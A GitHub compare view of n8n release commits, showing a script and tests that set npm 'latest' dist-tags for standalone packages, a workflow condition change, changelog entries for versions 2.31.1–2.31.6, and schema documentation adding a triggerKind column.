mirror of
https://github.com/n8n-io/n8n.git
synced 2026-07-28 11:35:03 +02:00
Compare commits
26 Commits
master
...
n8n@2.31.6
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a9b7667b46 | ||
|
|
afe1c9ef6d | ||
|
|
031227a50e | ||
|
|
aa3d214338 | ||
|
|
f6cb6cf3ab | ||
|
|
6a8d4e9a9b | ||
|
|
5b3b09d579 | ||
|
|
00fa67809e | ||
|
|
0a4ef52006 | ||
|
|
c7dd6b93e9 | ||
|
|
bb8dbedb84 | ||
|
|
ed7217bb81 | ||
|
|
9e0db2a1d0 | ||
|
|
f85ff0b198 | ||
|
|
df01643120 | ||
|
|
d8c9e45a55 | ||
|
|
4e72e2536d | ||
|
|
7da56d3b2c | ||
|
|
9aced71e11 | ||
|
|
953bbe5b06 | ||
|
|
c36f121a89 | ||
|
|
b01032cfe9 | ||
|
|
ea140677bb | ||
|
|
3b7e637114 | ||
|
|
e81d108eb6 | ||
|
|
ab2acc81b3 |
|
|
@ -1,7 +1,18 @@
|
||||||
|
import semver from 'semver';
|
||||||
|
|
||||||
import { getMonorepoProjects } from './pnpm-utils.mjs';
|
import { getMonorepoProjects } from './pnpm-utils.mjs';
|
||||||
|
|
||||||
const NPM_REGISTRY = 'https://registry.npmjs.org';
|
const NPM_REGISTRY = 'https://registry.npmjs.org';
|
||||||
|
|
||||||
|
// Standalone packages release from master out-of-sync with the main pipeline
|
||||||
|
// (release-standalone-package.yml), so their `latest` follows the newest beta
|
||||||
|
// on npm instead of the version recorded in the stable checkout.
|
||||||
|
const STANDALONE_PACKAGES_FOLLOWING_BETA = new Set([
|
||||||
|
'@n8n/create-node',
|
||||||
|
'@n8n/eslint-plugin-community-nodes',
|
||||||
|
'@n8n/scan-community-package',
|
||||||
|
]);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param {string} name
|
* @param {string} name
|
||||||
* @param {string} version
|
* @param {string} version
|
||||||
|
|
@ -23,6 +34,30 @@ async function setDistTag(name, version, tag, token) {
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** @param {string} name */
|
||||||
|
async function getDistTags(name) {
|
||||||
|
const res = await fetch(`${NPM_REGISTRY}/-/package/${encodeURIComponent(name)}/dist-tags`);
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(`Failed to fetch dist-tags for ${name}: HTTP ${res.status}`);
|
||||||
|
}
|
||||||
|
return await res.json();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve the version `latest` should point at, or null if no move is needed.
|
||||||
|
* Standalone packages follow the npm `beta` dist-tag; a standalone release
|
||||||
|
* from master may already have pushed `latest` past beta, so never downgrade.
|
||||||
|
* @param {import('./pnpm-utils.mjs').PnpmPackage} pkg
|
||||||
|
*/
|
||||||
|
export async function resolveLatestVersion(pkg) {
|
||||||
|
if (!STANDALONE_PACKAGES_FOLLOWING_BETA.has(pkg.name)) return pkg.version;
|
||||||
|
|
||||||
|
const tags = await getDistTags(pkg.name);
|
||||||
|
const target = tags.beta ?? pkg.version;
|
||||||
|
if (tags.latest && semver.gte(tags.latest, target)) return null;
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
async function setLatestForMonorepoPackages() {
|
async function setLatestForMonorepoPackages() {
|
||||||
const token = process.env.NPM_TOKEN;
|
const token = process.env.NPM_TOKEN;
|
||||||
if (!token) {
|
if (!token) {
|
||||||
|
|
@ -39,10 +74,15 @@ async function setLatestForMonorepoPackages() {
|
||||||
const failures = [];
|
const failures = [];
|
||||||
|
|
||||||
for (const pkg of publishedPackages) {
|
for (const pkg of publishedPackages) {
|
||||||
const versionName = `${pkg.name}@${pkg.version}`;
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const res = await setDistTag(pkg.name, pkg.version, 'latest', token);
|
const version = await resolveLatestVersion(pkg);
|
||||||
|
if (version === null) {
|
||||||
|
console.log(`Skipped ${pkg.name}: latest is already at or ahead of beta`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const versionName = `${pkg.name}@${version}`;
|
||||||
|
const res = await setDistTag(pkg.name, version, 'latest', token);
|
||||||
|
|
||||||
if (res.ok) {
|
if (res.ok) {
|
||||||
console.log(`Set ${versionName} as latest`);
|
console.log(`Set ${versionName} as latest`);
|
||||||
|
|
@ -53,8 +93,8 @@ async function setLatestForMonorepoPackages() {
|
||||||
}
|
}
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
const message = err instanceof Error ? err.message : String(err);
|
const message = err instanceof Error ? err.message : String(err);
|
||||||
console.error(`Failed to set ${versionName} as latest: ${message}`);
|
console.error(`Failed to set latest for ${pkg.name}: ${message}`);
|
||||||
failures.push(versionName);
|
failures.push(pkg.name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
53
.github/scripts/set-latest-for-monorepo-packages.test.mjs
vendored
Normal file
53
.github/scripts/set-latest-for-monorepo-packages.test.mjs
vendored
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
import { describe, it, before, afterEach } from 'node:test';
|
||||||
|
import assert from 'node:assert/strict';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run these tests by running
|
||||||
|
*
|
||||||
|
* node --test --experimental-test-module-mocks ./.github/scripts/set-latest-for-monorepo-packages.test.mjs
|
||||||
|
* */
|
||||||
|
|
||||||
|
let resolveLatestVersion;
|
||||||
|
before(async () => {
|
||||||
|
({ resolveLatestVersion } = await import('./set-latest-for-monorepo-packages.mjs'));
|
||||||
|
});
|
||||||
|
|
||||||
|
const originalFetch = globalThis.fetch;
|
||||||
|
afterEach(() => {
|
||||||
|
globalThis.fetch = originalFetch;
|
||||||
|
});
|
||||||
|
|
||||||
|
function mockDistTags(tags) {
|
||||||
|
globalThis.fetch = async () => ({ ok: true, json: async () => tags });
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('resolveLatestVersion', () => {
|
||||||
|
it('uses the checkout version for regular monorepo packages', async () => {
|
||||||
|
globalThis.fetch = async () => {
|
||||||
|
throw new Error('should not fetch dist-tags for regular packages');
|
||||||
|
};
|
||||||
|
const version = await resolveLatestVersion({ name: '@n8n/config', version: '1.2.3' });
|
||||||
|
assert.equal(version, '1.2.3');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('pins standalone packages to the beta dist-tag', async () => {
|
||||||
|
mockDistTags({ beta: '0.40.1', latest: '0.39.3' });
|
||||||
|
const version = await resolveLatestVersion({ name: '@n8n/create-node', version: '0.39.3' });
|
||||||
|
assert.equal(version, '0.40.1');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('never downgrades latest below a newer standalone release', async () => {
|
||||||
|
mockDistTags({ beta: '0.40.1', latest: '0.41.0' });
|
||||||
|
const version = await resolveLatestVersion({ name: '@n8n/create-node', version: '0.39.3' });
|
||||||
|
assert.equal(version, null);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('skips standalone packages without a beta tag when latest is current', async () => {
|
||||||
|
mockDistTags({ latest: '0.25.0' });
|
||||||
|
const version = await resolveLatestVersion({
|
||||||
|
name: '@n8n/eslint-plugin-community-nodes',
|
||||||
|
version: '0.25.0',
|
||||||
|
});
|
||||||
|
assert.equal(version, null);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -80,9 +80,12 @@ jobs:
|
||||||
|
|
||||||
ensure-correct-latest-version-on-npm:
|
ensure-correct-latest-version-on-npm:
|
||||||
name: Ensure correct latest version on npm
|
name: Ensure correct latest version on npm
|
||||||
|
# Also runs on beta patches: standalone packages pin `latest` to the newest
|
||||||
|
# beta, so every beta publish needs a re-pin, not just stable promotions.
|
||||||
if: |
|
if: |
|
||||||
inputs.bump == 'minor' ||
|
inputs.bump == 'minor' ||
|
||||||
(inputs.track == 'stable' && inputs.release_type != 'rc')
|
(inputs.track == 'stable' && inputs.release_type != 'rc') ||
|
||||||
|
(inputs.track == 'beta' && inputs.release_type != 'rc')
|
||||||
uses: ./.github/workflows/release-set-stable-npm-packages-to-latest.yml
|
uses: ./.github/workflows/release-set-stable-npm-packages-to-latest.yml
|
||||||
secrets: inherit
|
secrets: inherit
|
||||||
|
|
||||||
|
|
|
||||||
55
CHANGELOG.md
55
CHANGELOG.md
|
|
@ -1,3 +1,58 @@
|
||||||
|
## [2.31.6](https://github.com/n8n-io/n8n/compare/n8n@2.31.5...n8n@2.31.6) (2026-07-24)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **core:** Stop Instance AI follow-up runs from looping when they keep failing before the agent starts ([#34773](https://github.com/n8n-io/n8n/issues/34773)) ([031227a](https://github.com/n8n-io/n8n/commit/031227a50e15dd2885853ecfec0719e31c571f49))
|
||||||
|
|
||||||
|
|
||||||
|
## [2.31.5](https://github.com/n8n-io/n8n/compare/n8n@2.31.4...n8n@2.31.5) (2026-07-22)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **core:** Coerce AWS request header values to strings before signing ([#34568](https://github.com/n8n-io/n8n/issues/34568)) ([6a8d4e9](https://github.com/n8n-io/n8n/commit/6a8d4e9a9b6ba75387647f4eae7ecdbbe4a266b5))
|
||||||
|
* **core:** Fix AI Agent not seeing tools connected through HITL tools ([#34434](https://github.com/n8n-io/n8n/issues/34434)) ([0a4ef52](https://github.com/n8n-io/n8n/commit/0a4ef520069245d6e60b6a73fc8a6a25976f3468))
|
||||||
|
* **editor:** Keep dropdown tooltips above menus ([#34555](https://github.com/n8n-io/n8n/issues/34555)) ([5b3b09d](https://github.com/n8n-io/n8n/commit/5b3b09d579b4934e3bf1357a3d75bea6cf8f4909))
|
||||||
|
|
||||||
|
|
||||||
|
## [2.31.4](https://github.com/n8n-io/n8n/compare/n8n@2.31.3...n8n@2.31.4) (2026-07-20)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **editor:** Auto-ungroup invalid groups on workflow save ([#34513](https://github.com/n8n-io/n8n/issues/34513)) ([bb8dbed](https://github.com/n8n-io/n8n/commit/bb8dbedb8459f2c084b7f76e78c073f780da1c41))
|
||||||
|
|
||||||
|
|
||||||
|
## [2.31.3](https://github.com/n8n-io/n8n/compare/n8n@2.31.2...n8n@2.31.3) (2026-07-17)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **core:** Sign SES requests with the ses service name ([#34282](https://github.com/n8n-io/n8n/issues/34282)) ([4e72e25](https://github.com/n8n-io/n8n/commit/4e72e2536d9c78c668f9f71cbc8f01c507379fb2))
|
||||||
|
* Correct end-user credential validation, re-evaluation, and identity-hook recognition ([#34277](https://github.com/n8n-io/n8n/issues/34277)) ([d8c9e45](https://github.com/n8n-io/n8n/commit/d8c9e45a55fe851490ab8e406bafbec3f02550a7))
|
||||||
|
|
||||||
|
|
||||||
|
## [2.31.2](https://github.com/n8n-io/n8n/compare/n8n@2.31.1...n8n@2.31.2) (2026-07-16)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **core:** Fix change in width of all dropdowns in UI ([#34266](https://github.com/n8n-io/n8n/issues/34266)) ([953bbe5](https://github.com/n8n-io/n8n/commit/953bbe5b06e6948f5365ec45d9e440e540774c38))
|
||||||
|
* **core:** Require execution mode for MCP workflow executions ([#34280](https://github.com/n8n-io/n8n/issues/34280)) ([9aced71](https://github.com/n8n-io/n8n/commit/9aced71e1131c3e85233560b079bc1fdd89d9de0))
|
||||||
|
|
||||||
|
|
||||||
|
## [2.31.1](https://github.com/n8n-io/n8n/compare/n8n@2.31.0...n8n@2.31.1) (2026-07-15)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **core:** Bind dynamic credential tokens to a user ID ([#34134](https://github.com/n8n-io/n8n/issues/34134)) ([ab2acc8](https://github.com/n8n-io/n8n/commit/ab2acc81b3ee53bf8ec34fb3d72560cb71d7166b))
|
||||||
|
* **core:** Count AI assistant workflow test runs as manual executions in statistics ([#34152](https://github.com/n8n-io/n8n/issues/34152)) ([ea14067](https://github.com/n8n-io/n8n/commit/ea140677bbd40db9b2449b428c19274c3df2adbf))
|
||||||
|
* **core:** Preserve node aliases when generating AI tool variants ([#34194](https://github.com/n8n-io/n8n/issues/34194)) ([b01032c](https://github.com/n8n-io/n8n/commit/b01032cfe92f28d6afa7609cfee81ea58e25ce37))
|
||||||
|
* **editor:** Make AI assistant quota-exhausted error states explicit ([#34137](https://github.com/n8n-io/n8n/issues/34137)) ([e81d108](https://github.com/n8n-io/n8n/commit/e81d108eb6d4d0ac03e9919df965200b09812be3))
|
||||||
|
|
||||||
|
|
||||||
# [2.31.0](https://github.com/n8n-io/n8n/compare/n8n@2.30.0...n8n@2.31.0) (2026-07-14)
|
# [2.31.0](https://github.com/n8n-io/n8n/compare/n8n@2.30.0...n8n@2.31.0) (2026-07-14)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -115,7 +115,7 @@ Auto-generated from the PostgreSQL migrations in @n8n/db. Do not edit by hand.
|
||||||
| [public.workflow_entity](public.workflow_entity.md) | 20 | | BASE TABLE |
|
| [public.workflow_entity](public.workflow_entity.md) | 20 | | BASE TABLE |
|
||||||
| [public.workflow_history](public.workflow_history.md) | 11 | | BASE TABLE |
|
| [public.workflow_history](public.workflow_history.md) | 11 | | BASE TABLE |
|
||||||
| [public.workflow_publication_outbox](public.workflow_publication_outbox.md) | 7 | | BASE TABLE |
|
| [public.workflow_publication_outbox](public.workflow_publication_outbox.md) | 7 | | BASE TABLE |
|
||||||
| [public.workflow_publication_trigger_status](public.workflow_publication_trigger_status.md) | 7 | | BASE TABLE |
|
| [public.workflow_publication_trigger_status](public.workflow_publication_trigger_status.md) | 8 | | BASE TABLE |
|
||||||
| [public.workflow_publish_history](public.workflow_publish_history.md) | 6 | | BASE TABLE |
|
| [public.workflow_publish_history](public.workflow_publish_history.md) | 6 | | BASE TABLE |
|
||||||
| [public.workflow_published_version](public.workflow_published_version.md) | 4 | | BASE TABLE |
|
| [public.workflow_published_version](public.workflow_published_version.md) | 4 | | BASE TABLE |
|
||||||
| [public.workflow_statistics](public.workflow_statistics.md) | 7 | | BASE TABLE |
|
| [public.workflow_statistics](public.workflow_statistics.md) | 7 | | BASE TABLE |
|
||||||
|
|
@ -1348,6 +1348,7 @@ erDiagram
|
||||||
text errorMessage
|
text errorMessage
|
||||||
varchar_36_ nodeId
|
varchar_36_ nodeId
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
timestamp_3__with_time_zone updatedAt
|
timestamp_3__with_time_zone updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId FK
|
varchar_36_ workflowId FK
|
||||||
|
|
|
||||||
|
|
@ -281,6 +281,7 @@ erDiagram
|
||||||
text errorMessage
|
text errorMessage
|
||||||
varchar_36_ nodeId
|
varchar_36_ nodeId
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
timestamp_3__with_time_zone updatedAt
|
timestamp_3__with_time_zone updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId FK
|
varchar_36_ workflowId FK
|
||||||
|
|
|
||||||
|
|
@ -90,6 +90,7 @@ erDiagram
|
||||||
text errorMessage
|
text errorMessage
|
||||||
varchar_36_ nodeId
|
varchar_36_ nodeId
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
timestamp_3__with_time_zone updatedAt
|
timestamp_3__with_time_zone updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId FK
|
varchar_36_ workflowId FK
|
||||||
|
|
|
||||||
|
|
@ -8,6 +8,7 @@
|
||||||
| errorMessage | text | | true | | | |
|
| errorMessage | text | | true | | | |
|
||||||
| nodeId | varchar(36) | | false | | | |
|
| nodeId | varchar(36) | | false | | | |
|
||||||
| status | varchar(20) | | false | | | |
|
| status | varchar(20) | | false | | | |
|
||||||
|
| triggerKind | varchar(20) | | false | | | Where the trigger lives once activated: in-memory (registered on the owning instance) vs persisted (webhook row in webhook_entity) |
|
||||||
| updatedAt | timestamp(3) with time zone | CURRENT_TIMESTAMP(3) | false | | | |
|
| updatedAt | timestamp(3) with time zone | CURRENT_TIMESTAMP(3) | false | | | |
|
||||||
| versionId | varchar(36) | | false | | [public.workflow_history](public.workflow_history.md) | References workflow_history.versionId: the published version these statuses were recorded for |
|
| versionId | varchar(36) | | false | | [public.workflow_history](public.workflow_history.md) | References workflow_history.versionId: the published version these statuses were recorded for |
|
||||||
| workflowId | varchar(36) | | false | | [public.workflow_entity](public.workflow_entity.md) | |
|
| workflowId | varchar(36) | | false | | [public.workflow_entity](public.workflow_entity.md) | |
|
||||||
|
|
@ -17,12 +18,14 @@
|
||||||
| Name | Type | Definition |
|
| Name | Type | Definition |
|
||||||
| ---- | ---- | ---------- |
|
| ---- | ---- | ---------- |
|
||||||
| CHK_workflow_publication_trigger_status_status | CHECK | CHECK (((status)::text = ANY ((ARRAY['activated'::character varying, 'failed'::character varying])::text[]))) |
|
| CHK_workflow_publication_trigger_status_status | CHECK | CHECK (((status)::text = ANY ((ARRAY['activated'::character varying, 'failed'::character varying])::text[]))) |
|
||||||
|
| CHK_workflow_publication_trigger_status_triggerKind | CHECK | CHECK ((("triggerKind")::text = ANY ((ARRAY['in-memory'::character varying, 'persisted'::character varying])::text[]))) |
|
||||||
| FK_b7b496d8d1a21158c65f475cd88 | FOREIGN KEY | FOREIGN KEY ("workflowId") REFERENCES workflow_entity(id) ON DELETE CASCADE |
|
| FK_b7b496d8d1a21158c65f475cd88 | FOREIGN KEY | FOREIGN KEY ("workflowId") REFERENCES workflow_entity(id) ON DELETE CASCADE |
|
||||||
| FK_ef1994db9d0ac1b6a5c89b5f729 | FOREIGN KEY | FOREIGN KEY ("versionId") REFERENCES workflow_history("versionId") ON DELETE CASCADE |
|
| FK_ef1994db9d0ac1b6a5c89b5f729 | FOREIGN KEY | FOREIGN KEY ("versionId") REFERENCES workflow_history("versionId") ON DELETE CASCADE |
|
||||||
| PK_14aa18b83513fb92d7523909e02 | PRIMARY KEY | PRIMARY KEY ("workflowId", "nodeId") |
|
| PK_14aa18b83513fb92d7523909e02 | PRIMARY KEY | PRIMARY KEY ("workflowId", "nodeId") |
|
||||||
| workflow_publication_trigger_status_createdAt_not_null | n | NOT NULL "createdAt" |
|
| workflow_publication_trigger_status_createdAt_not_null | n | NOT NULL "createdAt" |
|
||||||
| workflow_publication_trigger_status_nodeId_not_null | n | NOT NULL "nodeId" |
|
| workflow_publication_trigger_status_nodeId_not_null | n | NOT NULL "nodeId" |
|
||||||
| workflow_publication_trigger_status_status_not_null | n | NOT NULL status |
|
| workflow_publication_trigger_status_status_not_null | n | NOT NULL status |
|
||||||
|
| workflow_publication_trigger_status_triggerKind_not_null | n | NOT NULL "triggerKind" |
|
||||||
| workflow_publication_trigger_status_updatedAt_not_null | n | NOT NULL "updatedAt" |
|
| workflow_publication_trigger_status_updatedAt_not_null | n | NOT NULL "updatedAt" |
|
||||||
| workflow_publication_trigger_status_versionId_not_null | n | NOT NULL "versionId" |
|
| workflow_publication_trigger_status_versionId_not_null | n | NOT NULL "versionId" |
|
||||||
| workflow_publication_trigger_status_workflowId_not_null | n | NOT NULL "workflowId" |
|
| workflow_publication_trigger_status_workflowId_not_null | n | NOT NULL "workflowId" |
|
||||||
|
|
@ -46,6 +49,7 @@ erDiagram
|
||||||
text errorMessage
|
text errorMessage
|
||||||
varchar_36_ nodeId
|
varchar_36_ nodeId
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
timestamp_3__with_time_zone updatedAt
|
timestamp_3__with_time_zone updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId FK
|
varchar_36_ workflowId FK
|
||||||
|
|
|
||||||
|
|
@ -115,7 +115,7 @@ Auto-generated from the SQLite migrations in @n8n/db. Do not edit by hand.
|
||||||
| [workflow_entity](workflow_entity.md) | 20 | | table |
|
| [workflow_entity](workflow_entity.md) | 20 | | table |
|
||||||
| [workflow_history](workflow_history.md) | 11 | | table |
|
| [workflow_history](workflow_history.md) | 11 | | table |
|
||||||
| [workflow_publication_outbox](workflow_publication_outbox.md) | 7 | | table |
|
| [workflow_publication_outbox](workflow_publication_outbox.md) | 7 | | table |
|
||||||
| [workflow_publication_trigger_status](workflow_publication_trigger_status.md) | 7 | | table |
|
| [workflow_publication_trigger_status](workflow_publication_trigger_status.md) | 8 | | table |
|
||||||
| [workflow_publish_history](workflow_publish_history.md) | 6 | | table |
|
| [workflow_publish_history](workflow_publish_history.md) | 6 | | table |
|
||||||
| [workflow_published_version](workflow_published_version.md) | 4 | | table |
|
| [workflow_published_version](workflow_published_version.md) | 4 | | table |
|
||||||
| [workflow_statistics](workflow_statistics.md) | 7 | | table |
|
| [workflow_statistics](workflow_statistics.md) | 7 | | table |
|
||||||
|
|
@ -272,8 +272,8 @@ erDiagram
|
||||||
"workflow_entity" }o--o| "workflow_history" : "FOREIGN KEY (activeVersionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE RESTRICT MATCH NONE"
|
"workflow_entity" }o--o| "workflow_history" : "FOREIGN KEY (activeVersionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE RESTRICT MATCH NONE"
|
||||||
"workflow_entity" }o--o| "folder" : "FOREIGN KEY (parentFolderId) REFERENCES folder (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
"workflow_entity" }o--o| "folder" : "FOREIGN KEY (parentFolderId) REFERENCES folder (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
||||||
"workflow_history" }o--|| "workflow_entity" : "FOREIGN KEY (workflowId) REFERENCES workflow_entity (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
"workflow_history" }o--|| "workflow_entity" : "FOREIGN KEY (workflowId) REFERENCES workflow_entity (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
||||||
"workflow_publication_trigger_status" }o--|| "workflow_history" : "FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
|
||||||
"workflow_publication_trigger_status" |o--|| "workflow_entity" : "FOREIGN KEY (workflowId) REFERENCES workflow_entity (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
"workflow_publication_trigger_status" |o--|| "workflow_entity" : "FOREIGN KEY (workflowId) REFERENCES workflow_entity (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
||||||
|
"workflow_publication_trigger_status" }o--|| "workflow_history" : "FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
||||||
"workflow_publish_history" }o--o| "workflow_history" : "FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE SET NULL MATCH NONE"
|
"workflow_publish_history" }o--o| "workflow_history" : "FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE SET NULL MATCH NONE"
|
||||||
"workflow_publish_history" }o--o| "user" : "FOREIGN KEY (userId) REFERENCES user (id) ON UPDATE NO ACTION ON DELETE SET NULL MATCH NONE"
|
"workflow_publish_history" }o--o| "user" : "FOREIGN KEY (userId) REFERENCES user (id) ON UPDATE NO ACTION ON DELETE SET NULL MATCH NONE"
|
||||||
"workflow_publish_history" }o--o| "workflow_history" : "FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
"workflow_publish_history" }o--o| "workflow_history" : "FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE"
|
||||||
|
|
@ -1337,6 +1337,7 @@ erDiagram
|
||||||
TEXT errorMessage
|
TEXT errorMessage
|
||||||
varchar_36_ nodeId PK
|
varchar_36_ nodeId PK
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
datetime_3_ updatedAt
|
datetime_3_ updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId PK
|
varchar_36_ workflowId PK
|
||||||
|
|
|
||||||
|
|
@ -272,6 +272,7 @@ erDiagram
|
||||||
TEXT errorMessage
|
TEXT errorMessage
|
||||||
varchar_36_ nodeId PK
|
varchar_36_ nodeId PK
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
datetime_3_ updatedAt
|
datetime_3_ updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId PK
|
varchar_36_ workflowId PK
|
||||||
|
|
|
||||||
|
|
@ -95,6 +95,7 @@ erDiagram
|
||||||
TEXT errorMessage
|
TEXT errorMessage
|
||||||
varchar_36_ nodeId PK
|
varchar_36_ nodeId PK
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
datetime_3_ updatedAt
|
datetime_3_ updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId PK
|
varchar_36_ workflowId PK
|
||||||
|
|
|
||||||
|
|
@ -6,7 +6,7 @@
|
||||||
<summary><strong>Table Definition</strong></summary>
|
<summary><strong>Table Definition</strong></summary>
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
CREATE TABLE "workflow_publication_trigger_status" ("workflowId" varchar(36) NOT NULL, "nodeId" varchar(36) NOT NULL, "versionId" varchar(36) NOT NULL, "status" varchar(20) NOT NULL, "errorMessage" text, "createdAt" datetime(3) NOT NULL DEFAULT (STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')), "updatedAt" datetime(3) NOT NULL DEFAULT (STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')), CONSTRAINT "CHK_workflow_publication_trigger_status_status" CHECK ("status" IN ('activated', 'failed')), CONSTRAINT "FK_b7b496d8d1a21158c65f475cd88" FOREIGN KEY ("workflowId") REFERENCES "workflow_entity" ("id") ON DELETE CASCADE, CONSTRAINT "FK_ef1994db9d0ac1b6a5c89b5f729" FOREIGN KEY ("versionId") REFERENCES "workflow_history" ("versionId") ON DELETE CASCADE, PRIMARY KEY ("workflowId", "nodeId"))
|
CREATE TABLE "workflow_publication_trigger_status" ("workflowId" varchar(36) NOT NULL, "nodeId" varchar(36) NOT NULL, "versionId" varchar(36) NOT NULL, "status" varchar(20) NOT NULL, "errorMessage" text, "createdAt" datetime(3) NOT NULL DEFAULT (STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')), "updatedAt" datetime(3) NOT NULL DEFAULT (STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')), "triggerKind" varchar(20) NOT NULL, CONSTRAINT "CHK_workflow_publication_trigger_status_status" CHECK (("status" IN ('activated', 'failed'))), CONSTRAINT "CHK_workflow_publication_trigger_status_triggerKind" CHECK ("triggerKind" IN ('in-memory', 'persisted')), CONSTRAINT "FK_ef1994db9d0ac1b6a5c89b5f729" FOREIGN KEY ("versionId") REFERENCES "workflow_history" ("versionId") ON DELETE CASCADE ON UPDATE NO ACTION, CONSTRAINT "FK_b7b496d8d1a21158c65f475cd88" FOREIGN KEY ("workflowId") REFERENCES "workflow_entity" ("id") ON DELETE CASCADE ON UPDATE NO ACTION, PRIMARY KEY ("workflowId", "nodeId"))
|
||||||
```
|
```
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
@ -19,6 +19,7 @@ CREATE TABLE "workflow_publication_trigger_status" ("workflowId" varchar(36) NOT
|
||||||
| errorMessage | TEXT | | true | | | |
|
| errorMessage | TEXT | | true | | | |
|
||||||
| nodeId | varchar(36) | | false | | | |
|
| nodeId | varchar(36) | | false | | | |
|
||||||
| status | varchar(20) | | false | | | |
|
| status | varchar(20) | | false | | | |
|
||||||
|
| triggerKind | varchar(20) | | false | | | |
|
||||||
| updatedAt | datetime(3) | STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW') | false | | | |
|
| updatedAt | datetime(3) | STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW') | false | | | |
|
||||||
| versionId | varchar(36) | | false | | [workflow_history](workflow_history.md) | |
|
| versionId | varchar(36) | | false | | [workflow_history](workflow_history.md) | |
|
||||||
| workflowId | varchar(36) | | false | | [workflow_entity](workflow_entity.md) | |
|
| workflowId | varchar(36) | | false | | [workflow_entity](workflow_entity.md) | |
|
||||||
|
|
@ -27,9 +28,10 @@ CREATE TABLE "workflow_publication_trigger_status" ("workflowId" varchar(36) NOT
|
||||||
|
|
||||||
| Name | Type | Definition |
|
| Name | Type | Definition |
|
||||||
| ---- | ---- | ---------- |
|
| ---- | ---- | ---------- |
|
||||||
| - | CHECK | CHECK ("status" IN ('activated', 'failed')) |
|
| - | CHECK | CHECK (("status" IN ('activated', 'failed'))) |
|
||||||
| - (Foreign key ID: 0) | FOREIGN KEY | FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE |
|
| - | CHECK | CHECK ("triggerKind" IN ('in-memory', 'persisted')) |
|
||||||
